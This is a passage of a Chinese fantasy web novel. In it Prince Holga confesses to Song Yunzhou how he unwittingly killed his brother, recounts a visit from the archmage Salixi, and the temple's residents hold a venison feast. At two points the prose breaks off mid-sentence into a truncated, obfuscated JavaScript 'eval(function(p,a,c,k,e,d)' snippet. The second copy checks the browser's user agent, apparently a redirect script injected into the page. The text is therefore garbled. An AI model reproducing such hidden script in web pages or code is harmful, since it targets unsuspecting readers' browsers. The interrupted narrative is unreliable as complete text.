兰缇娅走到霍尔加身侧,伸出手想拍拍霍尔加的肩膀,却在触碰到他的前一刻又收回手去。 兰缇娅突然意识到她也是神殿的人,似乎不是很有立场来宽慰这位心软的王子,莫要为他的子民太过悲伤。 兰缇娅略微思索了一下王室遇见这种事可能会采取的处理办法,遗憾地发现为这些人收尸是不太可能了。 于是兰缇娅只能说:“走吧,他们会成为森林的一部分。” 霍尔加在兰缇娅的声音中回过神,沉默地收剑,回到了小菠身边。 小章鱼行动起来,不过眨眼间,宋云州三人就重新站在了神殿后方的空地——降愿台上。 临近傍晚,朗空无云,依旧温暖充足的阳光洒满脚下的纯白石块,周遭安静得能听见轻风的低絮,神殿宁静美好一如往日,给人一种什么都不曾发生过的错觉。 充盈肺部的血腥气作为这场漫长杀戮与奔逃的唯一见证,也在两三次呼吸间彻底消失。 纳卡诺就站在离他们不远的地方,不知已在这里等待了多久,他看见三人一崽都全须全尾地回来了,悬吊的那口气总算松懈下来。 “我把食物送到了你们各自的房间里,先去休息一下吧。”纳卡诺看着风尘仆仆的三人,体贴地什么都没问。 宋云州终于从危机四伏的林海脱身,踏上这片还算熟悉的区域,紧绷的神经彻底放松,灭顶的疲累席卷他的四肢百骸,此时竟是连一个字都没气力再说出口。 宋云州眼下唯一的想法,就是抱着布瑞德回房间去,谁知他刚一转身迈步,腿就软了下去,险些跪倒在地,一团黑雾适时扶住了他。 等宋云州重新站稳时,他感激地发现黑雾将他送到了自己房间的床前。 宋云州本想先和布瑞德洗个澡吃点东西,谁知一见到床,就条件反射般倒了上去,一睡不起。 宋云州从没觉得这么累过,浑身上下像被拆散又重组了数遍,酸胀痛楚一齐袭来,意识散乱无序,混沌中梦见什么,又好像什么梦都没做。 宋云州睡得昏天黑地,中途被饿醒了,强撑着想爬起来吃饭,但困意压倒性战胜了饥饿,他倒头又合眼睡去。 直到第三天的中午,宋云州才真正清醒过来。 宋云州坐起身,拥着被子放空,听着侧方传来的咀嚼声,面对虚空愣了会儿神,这才把头转向声音来处。 一只黄黑色毛球正趴卧在桌面上,埋头专注地挑出炖菜里的肉吃掉,纤长的白色胡须在阳光下有韵律地颤动。 “布瑞德。” 宋云州轻轻地唤了一声,嗓音沙哑。 虎崽咀嚼的动作顿了一下,旋即侧头看向宋云州,圆眼睛惊喜地闪着光。 “嗷——” 布瑞德迅速起身,从桌上跳到椅子上,再跳到地上,轻盈敏健地飞奔几步,伴着哗啦哗啦的铭牌碰撞声跃到床上,最后扑进宋云州的怀里。 布瑞德喉咙里“呜噜呜噜”哼唧着,用力蹭了两下就在宋云州臂弯里仰面躺倒,享受起久违的摸摸。 宋云州轻轻揉按着布瑞德的肚皮,指尖不自觉地移向虎崽的脖颈,拨开毛发,细看层层覆盖下嫩肉。 宋云州认真且长久地注视着一处,手上的动作停了,很快引来布瑞德的不满,伸出爪垫拨了拨宋云州的手。 宋云州忽然笑了,双手探入布瑞德腋下,把它举到眼前,满含愉悦的双眼与布瑞德懵懂澄澈的琥珀眼对视片刻,不顾虎崽脏得都有些打绺儿的毛毛,宋云州偏头亲了亲它的侧脸。 不只是布瑞德,他也重新活过来了。 宋云州满足地拥抱着布瑞德,直到腹部的抗议声响起,他才依依不舍地松开了虎崽。 宋云州坐到桌前,没想到布瑞德给他留的那一份居然还是热的,应该是纳卡诺不管他吃没吃,依然每天都定时做了新菜送过来。 宋云州毫不意外地从菜里拣出一根长毛,溺爱地看了眼在对面继续吃饭的布瑞德一眼,随手放在一边。 吃过饭,宋云州带布瑞德一起洗去一路尘泥,清清爽爽地下楼放风。 神殿侧门外,霍尔加坐在台阶下,盯着偌大空荡的圆石空地发呆,远远听见熟悉的项圈碰撞声自身后传来。 霍尔加神色未动,也没有回头,等着布瑞德风风火火地从他身边跑过,扎入远处的灌木丛,片刻后再风风火火地冲回神殿。 这两天宋云州一直在房间里休息没出来,布瑞德就自己窜出来方便。 期间的大多数时候,霍尔加都静默地坐在这里,旁观着布瑞德的身影来来去去,无忧无虑的虎崽总是那么欢乐,充满活力,似乎任何不愉快都无法束缚住它蹦蹦跳跳的灵魂。 霍尔加没试图出声引起布瑞德的注意,布瑞德也就理所当然把他当成空气,目不斜视地路过。 这一次本应也是这样。 哗啦哗啦声逐渐靠近,布瑞德跑下台阶,在空地上奔远,却在半途转身停下,对着台阶上的某处嗷嗷叫唤,掩不住的兴奋甚至令它在原地蹦了两下。 霍尔加似有所感,回头看了一眼,正与刚走到台阶边的宋云州视线相接。 “下午好。”宋云州向霍尔加打了声招呼,径直走到他身边坐了下来。 霍尔加如寻常般同宋云州笑着寒暄:“睡了很久吧?这一趟着实凶险。” 宋云州“嗯”了一声,没有往下接话,他一眼看出霍尔加情绪不高,继续聊这些场面话没有任何意义。 宋云州静了片刻,沉声说:“森林里发生的事我很遗憾。” 霍尔加脸上强撑起来的笑容因这句话而僵住,转眼彻底褪去,他缓缓垂下眼睫,扭头看向别处。 宋云州适时地保持安静,目光扫过霍尔加俊朗的侧脸,还有他那柄靠在台阶旁边的长剑。 那个死去的女人说霍尔加是王子,看情形,霍尔加似乎是正在被通缉的王子,接受了神殿的庇护,免于追捕。 宋云州好奇霍尔加的故事,但如果他本人不愿意说,宋云州不会去主动探究。 率先跑到空地的布瑞德被宋云州晾在了一边,嗷嗷叫几声也没能引起宋云州的注意,只好又跑回来。 布瑞德用鼻头顶顶宋云州的手,伸爪拍了拍他的口袋,提醒宋云州得把口袋里的球球拿出来扔。 宋云州抬手握住布瑞德的前爪,顺便捏了捏柔软的爪垫,把它抱进怀里。 布瑞德明白宋云州突然改变了要陪它玩的打算,本来还有点小脾气,却很快就被宋云州有一下没一下的抚摸俘虏,软绵绵摊成了一张虎饼。 宋云州像搂着一个温暖的绒绒玩偶,白皙修长的指尖细细梳理布瑞德半干的背毛,一言不发,就这么陪霍尔加安静坐着。 霍尔加将手臂搭上膝盖,偏头枕在臂上,他愣愣地盯着梳开虎崽皮毛的手指。 宋云州并无实际意义的动作却意外具有治愈的力量,看得久了,霍尔加肺腑中积蓄的郁气竟也跟着找到了出口,如丝缕般渐渐逸散。 半晌后,霍尔加轻声开口道:“……其实不该是这样的……” 宋云州手上一顿,向霍尔加投去略带疑问的目光。 “他们本不会死……”霍尔加宝石般湛蓝的眼眸盈满懊恼与忧郁,喃喃自语。 宋云州曾随狼群一路逃亡,切身体会过被重兵围杀的滋味,性命悬于一线,纵使当时的情况确实惨烈,他也着实共情不了。 伤人者必然要做好被人反伤的准备,况且以烈金斯那样阴晴不定的性格,被激怒后做出什么事都不足为奇。 宋云州默默想着,是那些人欺狼太甚了。 宋云州虽不认同霍尔加的说法,但他想让霍尔加好受些,斟酌着开口:“烈金斯一开始并不打算动手的,可能是被什么刺激到了,所以才……” “我就是那最大的罪人,”霍尔加打断了宋云州的话,“又有什么理由去指责别人。” 霍尔加直起身,见宋云州眼中迷茫,了然道:“你不是这个国家的人吧。” 宋云州一怔,从善如流地顺着霍尔加的话,半真半假地说:“我的家在一个消息闭塞的偏远山村,还是第一次来到这么远的地方。” 霍尔加像是相信了这个说法,没再追问,他直视着宋云州的双眼,郑重其事道:“抱歉,我本不该对你隐瞒,我的名字是霍尔加·塔维丽安,是肯利埃现任国王盖伊·塔维丽安的次子。” 霍尔加既然决定开诚布公,便从自己的身份开始,主动说起了他为何会出现在这里—— “我的哥哥,名叫蒙格特·塔维丽安,曾是肯利埃的王储。蒙格特是天生的君主,他公正,英勇,果敢,而又不乏仁慈之心。如果今日是他在那个位置之上,绝不可能放任这种不义之战出现,也不会致使那么多士兵枉死。” 霍尔加对他的这位哥哥毫不吝惜赞美之词,宋云州敏锐地捕捉到他话里的那个“曾”字。 霍尔加说:“八年前,盖伊·塔维丽安决定再次整兵讨伐悬铃森林,各地为了战事都在强征民兵,加征赋税。本应丰收的大片麦田因为缺少劳动力,在一场大雨后全都烂在了地里。粮食紧缺,王室还逼着百姓供给军需,饥荒顺理成章地爆发,饿殍遍野,随之而来的就是大范围的瘟疫。百姓的哭喊和怨声遮蔽天地,却没有一声能飘入盖伊的耳朵,他依旧我行我素,勒令将领准时出兵。而这一切的缘由,竟只是盖伊为了给他的继后出气。” 王室与悬铃森林的纠葛,应该就是起始于邓恩提过的狼群对王后的伏击。 但是……继后? 宋云州微微张口想问,又不想打断霍尔加的话,没有出声。 霍尔加大概猜到宋云州的疑惑,微微切齿道:“蒙格特的母亲是先王后梅瑞妮·艾德礼,她与我的母亲赛西琳一同葬身于一场大火。起初我们都认为这是一场可怖的意外,直到蒙格特在多年后的一次巡游中途,顺手逮捕了一名惯盗。原本只是正常的审问,没想到那盗贼一听说蒙格特的名讳就被吓得瘫倒在地,也是这时有人认出他竟曾是王室侍从。 “盗贼以为东窗事发,近乎是干脆地坦白了那场火灾的真相——有人命他在我们母亲的晚餐中洒下迷药,待她们昏倒,便潜入室内放火。他提前以先王后的名义遣散了周围的仆从,等火势大到被人察觉,为时已晚。他则趁乱带着幕后指使者所赐的金银远遁他乡,隐姓埋名,一逃就是九年。” “那人得到的命令里,要杀的其实还包括蒙格特,幸好他在外骑马贪玩逃过一劫。”霍尔加现在想来仍是觉得荒唐,“是盖伊·塔维丽安做的。先王后逝去的第二年,盖伊立了继后劳莎·兰利。紧接着,盖伊污蔑蒙格特失德,剥夺了他的储君之位,转而册封劳莎的儿子做王储。” “那时继后家族掌权,公然重提‘先王后之死’带来的危险,不是势单力孤的我们能轻易抵挡的。蒙格特按下了这件事,回到王都后,他自请驻守边城,带着我一起离开。蒙格特暗中招兵买马,壮大势力,他用了三年时间,培养出一支精锐部队。 “蒙格特麾下的战士骁勇善战,可士兵数量带来的实力差距还是与王军悬殊。本该再蛰伏积蓄力量,局势却容不得他迟疑。蒙格特不能眼睁睁看着这个国家被昏王毁掉,于是他下定决心,等盖伊调动绝大部分兵力前往悬铃森林,他就率兵反叛,逼盖伊退位,并让他为自己曾犯下的种种罪行接受审判。 “母妃早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“蒙格特一仗未打,却赢得了连战争都无法降服的土地与人心。他众望所归,合该称王。”霍尔加微仰着头,神情满是崇敬与向往,仿佛在虚空中又看到了那个身披明光熠熠的甲胄,骑在威武的黑色骏马背上,英姿勃发的身影,“蒙格特身后的人越来越多,而我,是唯一有资格与他并肩同行的人。” “大军很快兵临凡林城下,比预想所需的时间要快得太多太多。开赴悬铃森林的王军深陷其中,来不及回援,即使能赶回来,我想他们同样会倒戈归顺蒙格特。围城三日后,盖伊迫于压力,不得不向城外传信,答应让位于蒙格特。众人得知后,欢呼的声浪几乎能将整个凡林城掀翻。 “所有人都满怀期盼,只等明日一早,城门打开,王都凡林便将迎来它新的君主。蒙格特会在卫队的陪同下前往王座,举行他的加冕礼。” 霍尔加的声音戛然而止,眼中光芒黯淡下去,他抓紧了放在身边的长剑,指节用力到泛白,眉宇间满是痛楚。 霍尔加停顿了很久,薄唇颤抖着,艰难地再次发出声音。 “可是,就在新王即将入城加冕的前夜,”霍尔加说出的每一个字仿佛都从他的骨血中刺出,血肉淋漓,“蒙格特死了。” “他死于这柄剑下,一剑穿心,而那时手执这柄剑的人——” 霍尔加狠狠合上双眼,紧握剑鞘的手在发颤。 “是我。” 掷地有声。 转折赫然发生在宋云州完全没有料到的地方,他诧异地转头看向霍尔加,翻涌咆哮的疑问马上就要冲口而出。 这段往事听到现在,绝没有道理会以这样的结局收场。 蒙格特可以死于各种意外,唯独不该、也不可能是霍尔加动的手。 怎么会?! 宋云州看到霍尔加深陷痛苦的模样,最终还是选择继续沉默地倾听。 “那天夜里,我和蒙格特都睡不着,有激动也有紧张。蒙格特在反复推演明日王都中的布防,一边在地图上标画,一边说给我听。我就兴奋地坐在他身边,用鹿皮擦拭他明日典礼上要穿戴的铠甲和礼剑,幻想着新王加冕礼的盛大情形。”有泪水顺着霍尔加的脸颊滚落,在阳光下折射出剔透的光晕,“变故发生得突然,我只记得当时桌上的烛火晃了一下,似乎只是一晃儿神,我不知怎么就握着手里的礼剑站了起来,原本坐在我旁边的蒙格特也变成了站着,和我面对着面。” “我觉得很奇怪,不明白怎么眨眼间我们的位置就发生了变化,我完全没印象我做出过任何动作。某种温热黏腻的液体淌进了我的手心,我像是这时才真正惊醒,看清了面前的蒙格特。礼剑的剑锋洞穿了他的左胸,汩汩流出的鲜血浸透了他的衣襟,他就那样看着我,然后向后倒去……” 那一剑狠厉决绝,没留半分余地,正中蒙格特的心脏。 仿佛已经在暗地里演练过千百遍,速度、角度的拿捏都精确到毫分,足以让蒙格特甚至来不及发出任何声音,就没有了气息。 霍尔加话语中的哽咽愈发明显:“我永远也忘不掉,蒙格特受伤时那惊愕又悲痛的眼神。他的剑分明已经取在手中,那么近的距离,他完全可以杀了我,可他松开手,剑掉在了地上。 “他是我的榜样,是我最敬佩的人,是我愿意用一生追随与效忠的人。自我幼时拥有独立意识的那一刻起,我从未动过哪怕一丝一毫伤害他的念头。我可以毫不迟疑地为他而死!” “可是、可是……”霍尔加悲恸呢喃,“可到头来,竟是我亲手杀了他!” “我怎么会…… “怎么会是我杀了他……” 霍尔加语不成声,在嘶吼,亦在悲泣。 “我亲手杀了这世上唯一爱我的亲人! “怎么会?!怎么会是这样啊……” 明明阳光依旧热烈,还有暖洋洋的布瑞德偎在怀里,宋云州却觉得周身萦绕着驱不散的寒气,他抬手揽住了霍尔加。 霍尔加的头抵在宋云州的肩膀上,一手攥紧宋云州肩胛处的衣料,无声地痛哭。 宋云州舌根发苦,眼中泛出潮意,他听懂了霍尔加无法诉诸言语的意思—— 最令霍尔加痛苦到发疯的,并不是亲手杀了敬爱的哥哥,而是再也找不到机会,让哥哥知道这么做不是他的本意。 蒙格特至死都以为霍尔加是真的想杀他,他最信赖倚重的兄弟,他倾尽心血一点点养大的小孩,原来早就恨不得杀掉他了,而且下手是那样的干脆利落,不带任何感情。 霍尔加的灵魂辗转反侧,无数个日夜,无数场梦魇,都在加深着一个无可更改的事实—— 他让蒙格特伤心了。 35. 大魔法师 午后柔风轻拂,阳光洒落,布瑞德暖洋洋地拉伸前腿,伸了个懒腰,从萦绕着宋云州气息的白日梦里醒来。 布瑞德眯着眼睛感觉了一下,宋云州温热干燥的掌心并没有贴着它的毛毛,它半撑起身体,习惯性地扭头寻找,想把宋云州的手拉过来。 结果刚一转头,布瑞德打到一半的哈欠就僵住了,惺忪的琥珀眼瞬间睁大,连脖颈后的毛都炸了起来—— 居然有其他人伏在了宋云州的肩膀上! 布瑞德愣了一下,随即猛地从宋云州腿上蹿起来,直起身子,边示威般嗷嗷大叫,边用前爪推搡霍尔加的手臂,目标坚定地驱逐他远离宋云州。 完全沉浸于痛苦中的霍尔加被布瑞德的动作和叫声惊醒,意识到自己的失态,当即松开抓着宋云州衣服的手,背过身去擦掉眼泪。 布瑞德神情严肃地探头嗅闻霍尔加触碰过的衣料,贴上去蹭蹭毛,重新添补上属于它的气味。 宋云州捋了捋虎崽的后颈,重新把它抱回怀里,软声告诫:“布瑞德,不可以这么没有礼貌哦。” 布瑞德蜷起四肢,斜倚着宋云州,一点都不想再打瞌睡,虎视眈眈地提防霍尔加。 经布瑞德这一搅和,霍尔加恰好从过往的情绪中抽离,他深呼吸了几次,平复心绪,转回头看见宋云州肩膀处留有点点深色的泪痕。 霍尔加抱歉地牵动唇角,嗓音略显嘶哑:“不好意思。” 宋云州毫不在意地摇摇头:“发泄出来会好受点儿。” 宋云州其实还想说,抱一抱软乎乎的家伙可以更好地缓解,但看布瑞德的情况,可行性为零,就算了吧。 霍尔加呼出一口气,抬头望了一眼太阳:“那时我就该死的,为接下来发生的所有悲剧负责,可是我没有。蒙格特的死讯传出,庞大军阵即刻哗变。盖伊在第一时间得到消息,从城中发布敕令——‘贼首身死,追随者皆受其蛊惑,陛下仁慈,若众军士即刻退兵,各回驻地,则可既往不咎。’ “军士们失去了要效忠的人,就算夺下都城也没有意义,军阵崩散,除了退去没有其他路可选。当然,在这期间他们有更要紧的事要做,极力缉拿我这个杀害新王的凶手。我的卫队护着我逃离,就算我背负这样的罪名,他们还是为我在血战中撕开一条生路,全部为保护我而死。 “之后全国戒严,各处都在悬赏我的头颅。盖伊要杀我,因为我和蒙格特一起反叛,他必须斩草除根。其他人更不必说,他们曾经有多爱戴蒙格特,现在就有多恨我。” 霍尔加回想起当时的情景,有如隔着重重海雾,恍惚得没有实感。 那时他浑浑噩噩,甚至完全弄不清究竟发生了什么,手里死死抓着流淌下蒙格特鲜血的礼剑,在一片混乱的嘈杂中被人潮裹挟带走,他什么声音都听不真切,眼中看到模糊的光影。 铠甲,披风,火把。 军帐,刀剑,人脸。 所有的一切,全是红色的,浓稠而鲜活,是从蒙格特胸膛中涌出的,化作利爪,扼死了他。 霍尔加记不起他是怎么逃出的营地,只是一味地奔跑和躲藏,他莫名其妙地独活,昼夜不停鼓动的心脏苟延残喘,延续他意义不明的生命。 “直到现在我都想不通,为什么那时的我一定要活着?其实只要在随便一个人面前说出我的身份,自有大把的人愿意帮我结束所有痛苦。我是在逃避既定的事实,还是单纯的畏惧死亡?”霍尔加的脸上露出短暂的困惑神情,找不到答案,“我隐姓埋名逃去别国,忽然某天听到有人说起神明,我就又回来了,找到了这里。” 霍尔加说:“我想求见神明,请祂告诉我当时到底发生了什么,为什么我会做出这样可怕的事。” 宋云州摩挲着布瑞德的头顶,问:“神明一直没有出现?” “我问过纳卡诺,”霍尔加眸光低垂,“他说圣神已沉眠数年之久,没人知道祂什么时候才会醒来。” “事情发生的时候,你处于无意识的状态,”宋云州试探着问,“会不会是魔法所致?如果是萨里希动的手……” 萨里希的魔法甚至强过神明,杀一个普通人对他来说必然不是难事,嫌疑很大。 不料霍尔加果断否认道:“不是他做的。” 霍尔加顿了顿,如实告诉宋云州:“就是他让我来神殿的,因为他也想知道蒙格特真正的死因。” 那是一个夏夜,风很静,听得到远近的蝉鸣。 安置流民的窝棚里鼾声起伏,蚊蝇在暑气中横冲乱撞,汗味蒸腾。 十五岁的霍尔加照旧没能睡着,怀抱着用破布裹得严严实实的礼剑,坐在窝棚边的草垛上呆呆地望月亮。 不知不觉间,蝉鸣在某一瞬完全消失了,绝对的静寂中,霍尔加看到一个黑袍人出现在他的面前。 这人从虚空中突然降临,说他穿着黑袍并不太准确,其他人都用宽大的外袍遮掩身形,便于暗中行事,而这人的外袍张扬华美,仿佛生怕别人注意不到一般。 随着来人摘下兜帽的动作,织锦外袍在月光照耀下粼粼漾出绚烂的银紫色暗纹,如夜幕之上银河繁星。 霍尔加曾在王宫里见过他,尽管是在霍尔加很小的时候,但关于他铺天盖地的神秘玄异的传闻,以及这张过于年轻的面孔,无一不让人极为印象深刻。 萨里希。 ——风信要塞统帅,繁花高塔上的长生之人,推翻神殿三千余年统治的大魔法师,肯利埃有史以来唯一的外姓涉政亲王。 这么多年过去,萨里希的身量容貌没有发生任何变化,仍旧是单薄挺拔的秀美少年。 萨里希看了霍尔加一眼,随后移开视线,动作轻缓地将自己的酒红色长发全部从袍子里挑出来,捋到身后,抬手用一条白金色发带松散系好。 萨里希掸去衣袖上并不存在的折痕,确认自己仪容整肃后,端正站好,对霍尔加颔首致意:“见谅,我来得匆忙,没时间仔细打理。” 霍尔加只是盯着他看,没做声。 萨里希抬脚,想靠得离霍尔加更近些,可马上就微微皱了下眉头,他被霍尔加身上的古怪味道熏到了,迈出半步的脚又缩了回去。 萨里希忍住掩鼻的冲动,不赞同地教导道:“就算落难,也不该邋遢至此。” 霍尔加冷漠道:“你来就是为了跟我说这些?” 萨里希偏头看他:“我已经从你的眼睛里看到了我想知道的一切,所以不是很急。” ——刚才萨里希和他对视的那一眼! 霍尔加汗毛倒竖,立刻警觉。 萨里希无所谓地笑了笑,宽慰道:“一点儿小小的邪恶魔法而已,不会伤到你。” 话音落时,传来剑出鞘的声响,霍尔加不知何时已经解开了裹剑的破布,抽出剑就朝萨里希冲来:“是你杀了他!” 霍尔加嘶吼着劈砍向萨里希的颈侧,却被虚空中看不见的力量阻拦,长剑滞在半空,再难前进分毫。 萨里希动都未动,神色平静地说:“真的很可惜,蒙格特本会是一位贤明的君主,比那个老蠢货要强太多。我也曾给你们提供过便利,拦截了所有意图传至凡林的讯息,让你们可以有时间壮大自身。我想看你们能走到哪里。” 霍尔加挥剑的力道渐渐卸去,仍对萨里希怒目而视,眼眶泛红:“你既然也更愿意我哥哥当王,为什么不早点来帮他?!” 霍尔加深知他的指责毫无道理,萨里希做出怎样的选择是他的自由,可无可抵消的痛苦让霍尔加止不住无数次幻想,要怎么做才能避免悲剧的发生。 霍尔加怨恨自己的无力,也迁怒了可能成为一切转机的萨里希。 如果当时有大魔法师在蒙格特身边,或许就能改写他的死亡。 “我当然可以直接杀掉你们的父王,再除掉所有反对者,直接拥立蒙格特称王。”萨里希摇头,“但事情不是这么做的,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨里希在小狗脏乎乎的爪子即将扑住他外袍前,果断后退了两步,转头看向身侧的虚空,似乎那里有什么霍尔加看不见的东西。 “好了,我要走了。”萨里希毫不拖泥带水,干脆道,“你可得抓紧时间,没准儿去得迟了,我突然改变主意,赶在那之前灭了神殿,你就彻底没指望了。” 吓唬完霍尔加,萨里希转身要走,又听霍尔加在身后追问:“我该怎么办?” 萨里希眉心微蹙,有些不耐烦:“我不是让你……” 萨里希话说到一半,戛然而止,他猛然意识到霍尔加重复的这句话,语调和之前不同了,他回首看去。 霍尔加用衣袖抹去泪水,定定地注视着萨里希的双眼,眼神明亮,和之前的悲伤小狗判若两人,他问的是得到答案之后该怎么办。 “看你。”萨里希来了兴致,语气也轻快起来,“自然是想怎么做就怎么做。” “如果是我,那就只有一种选择——” 萨里希眨眼间消失,隐匿的蝉鸣再度奏响,和蝉鸣同时出现的,是萨里希淡然留下的六个字—— “斩天命,复血仇。” 和萨里希的那次见面霍尔加记得很清楚,他当然没有完全复述,只挑了几句要紧的说给宋云州听,以证明萨里希与此事无关。 霍尔加说:“他只告诉了我神殿的大致所在,找到这里可真是费了不少工夫……” 就在这时,忽听神殿前方传来“咚”的一声闷响,似是某种重物被抛落在地的动静。 霍尔加话音立止,和宋云州对视一眼,旋即抓起剑冲了过去。 宋云州连忙抱着布瑞德站起身,他迟疑一瞬,一时找不到稳妥的地方安置布瑞德,只能这么跟了上去。 36. 降临之序 宋云州和霍尔加绕到神殿前方空地的时候,纳卡诺和兰缇娅已经站在了那里,围观着地上的什么东西。 宋云州和霍尔加走上前,没有预想中的诡异变故,只看到一头体格健硕的成年公鹿死在神殿前。 公鹿皮毛光亮,脖颈处有一道撕咬裂痕,此外身上没有其他伤口,死相优雅,连一丝血迹都看不到。 动手者干净利落,一击毙命,甚至提前放干了血,看起来并不像是要挑事。 霍尔加用手指拨弄了一下公鹿的脖子,说:“被狼咬死的。” 兰缇娅绕着鹿身欣赏了一圈,愉快道:“正发愁晚上要做什么菜,这下好了,菜自己送上门了。” 宋云州问:“烈金斯送的?” “是他。”纳卡诺点头确认道,“我感觉到了他的力量。” 宋云州禁不住好奇,烈金斯指挥狼群抓鹿,难不成是朝那头黑狼学鹿叫吗? 鹿是怎么叫的来着? “那家伙还算干一点人事。”兰缇娅摸了摸公鹿昂扬硬挺的鹿角,眼中满是喜欢,“这么漂亮的鹿角还真是少见,神殿里正好缺些装饰。等我把它们割下来,今晚一起吃烤鹿肉吧。” 纳卡诺察觉兰缇娅话中意图,警惕问道:“你想在哪儿烤?” 兰缇娅回给他一个“你说呢”的狡黠笑容。 纳卡诺:“……” 在纳卡诺的抗议与劝阻下,烧烤用的铁架稳稳地支在了降愿台上。 宋云州和霍尔加帮兰缇娅完整取下鹿角,剥下鹿皮。趁另两人分割鹿肉,宋云州去餐厅取来餐具,又去果园摘了一篮子苹果。 这回宋云州腰间别了一把匕首,他不许布瑞德自己在果园里乱跑,就让它紧紧跟在自己腿边,几乎每摘一个苹果都要侧头看看鲜艳的黄黑色花纹还在不在。 纳卡诺略微不满地看着又一只猎物把降愿台弄得油腻腻的,却还是用魔法从地窖里搬出两大桶葡萄酒,以及许多盏风灯。 天色刚一黯淡下来,环绕降愿台一周的风灯齐齐点亮,好似提前陨落的星斗,明光铺满降愿台的每个角落。 炭火燃起星点红色,随着时间的推移连成明亮的赤色熔岩。薄饼状的鹿肉平摊在铁架上,呲呲啦啦地爆开焦香,时不时被翻个面。切好的苹果摆成花状,放在葡萄酒旁,清甜与甘醇混杂,恰好解去鹿肉的腥腻。 偌大神殿静悄悄的,只有四人坐在降愿台一侧铺好的软毯上,各执一杯酒。 兰缇娅想了想祝酒词,率先说:“今夜就庆贺宋云州从悬铃森林平安归来!” 霍尔加紧接着道:“还有布瑞德,一同平安归来!” 纳卡诺同样举杯:“这一趟辛苦了。” 宋云州笑得眉眼弯弯,怀里揽着布瑞德真诚道:“谢谢大家对我和布瑞德的帮助!” 四只酒杯相碰,发出叮啷脆响,深红酒液在水晶杯中涌动,折射出绚烂的光斑,吸引虎崽好奇的视线紧紧追随。 兰缇娅一口干了杯中酒,倒酒时注意到布瑞德的视线。她探过身,在布瑞德眼前晃了晃酒杯,笑着打趣说:“小家伙,要来一杯吗?” 布瑞德还记得之前兰缇娅把它抓走的事,被突然靠近的她吓了一跳,迅速往后一缩,后脑勺正撞在宋云州的心口上,把正在喝酒的宋云州撞得一呛。 宋云州偏过头咳嗽了两声,捋顺气后揉了揉布瑞德的小脑袋,低头盯着它的眼睛柔声问:“撞疼了没有啊?” 兰缇娅调笑道:“你也太宠着它了,不能一直让它这么胆小。” 宋云州捧着布瑞德的虎脸搓了搓,他越看越喜欢,低头亲了一口布瑞德脑门,骄傲地说:“才不会,我的布瑞德最勇敢了!” 兰缇娅眼见宋云州着魔一样的行径,嘴角震惊地抽搐了一下,她确认宋云州已无可救药,端着酒杯闪去了纳卡诺身边。 纳卡诺用长夹子翻动炙烤的鹿肉,将烤熟的分盛到碟子里,分给大家,连布瑞德也得到了一碟。 鹿肉只放了最基础的盐调味,装着其他调料的瓶瓶罐罐整齐地摆放在一边,每人可以再根据自己的口味喜好补充。 兰缇娅拿起装着辣料的小瓶,往她的鹿肉上撒了一些,一边撒,一边偷偷用余光瞄向身旁的纳卡诺。 兰缇娅状似随意地放回小瓶,实则在手臂伸到中途时,紧急调转方向,径直向预先瞄定好的纳卡诺的碟子里倒去。 纳卡诺早有防备,护着自己的碟子一侧身灵敏躲开,略带得意地轻哼:“你休想!” 兰缇娅紧追不舍:“你尝一次,吃烤肉就应该加点儿辣。” “不要。” “你都没吃过怎么就知道不好吃?” 宋云州帮布瑞德切分鹿肉,稍稍分神饶有兴趣地看这两人追逐着跑开,轻笑出声。 霍尔加坐到宋云州身侧,忽然用十分正式的语气道:“我欠你一个道歉,对不起。” “嗯?”宋云州转过注意力,奇怪道,“怎么突然这么说?” “认得出那柄剑的人不多,我没想到他会来。本想助你一臂之力,反倒给你招来了祸患。”霍尔加再次说,“对不起。” 宋云州摇摇头,表示事情已经过去,霍尔加完全不需要致歉。 不过这话倒是让宋云州回想起当时霍尔加与林塞交手的情形,宋云州迟疑地问:“你和他……很熟悉吗?” 霍尔加沉默了一会儿,像是不愿提起,又像是不知道该从何说起:“他……” “他曾经是我……”犹豫过后,霍尔加最终道,“……是我哥哥的侍卫长。” 宋云州只是一听,不再深究,扬起笑脸招呼霍尔加一起用餐。 长毯的另一侧,纳卡诺抱着自己的碟子躲进了黑雾里,誓要吃完才出来。 兰缇娅本就是和他逗着玩,抓不到人便自顾自地吃肉喝酒,好笑地盯着在半空中漂浮不定的一小团黑雾。 降愿台迎来片刻安静,但很快,兰缇娅跟纳卡诺商量了几句话,提着裙子站到了几人面前的空地上。 “既然是庆祝晚宴,怎么能少了舞蹈,我先来跳一支。”兰缇娅说完,落落大方地提裙行礼。 霍尔加当即捧场叫好,宋云州跟着积极鼓掌。 兰缇娅展开双臂,一手上扬,一手微垂,昂首用目光追随抬起的指尖。她刚摆好舞姿,就有一阵悠扬空灵的笛声飘来。 宋云州顺着声音转头,看见纳卡诺将一支哨笛举在唇边,徐徐吹响。 兰缇娅跟随笛声舒展身姿,翩然旋转,清澈悦耳的歌声自她的唇齿间流淌入夜色。 “Sgmoseq donlh filokja aleyw...” 宋云州仔细听了又听,确认这是他从未听过的语言,不由小声发问:“她唱的是什么?” 霍尔加同样小声回答道:“这是满利克尔语,据说是古时候的魔法师所创造使用的古老语种,现在已经失传了。 “这支歌谣名为《飞鸟颂章》,流传下来的只有发音,歌词是什么没人知道。很多人根据歌名,猜它可能是歌颂塔维丽安家族先祖开国的事迹,因为塔维丽安家族的徽纹正是金翼飞鸟。” 宋云州点点头,握住怀中布瑞德的两只前爪,跟随兰缇娅的歌声左右摇晃,打着节拍。 布瑞德虽不理解这是在干什么,但它仍温顺地配合宋云州的每个动作,毛脑袋向后仰倒,望见宋云州的笑脸。 布瑞德眨了眨眼,琥珀眼中倒影着风灯的光芒,晶晶亮亮。 哨笛声婀娜婉转,好似汩汩溪流穿行山川,又如传奇的叙事长诗娓娓道来。兰缇娅的动作轻盈灵动若林间飞鸟,两者相得益彰,浑然一体。 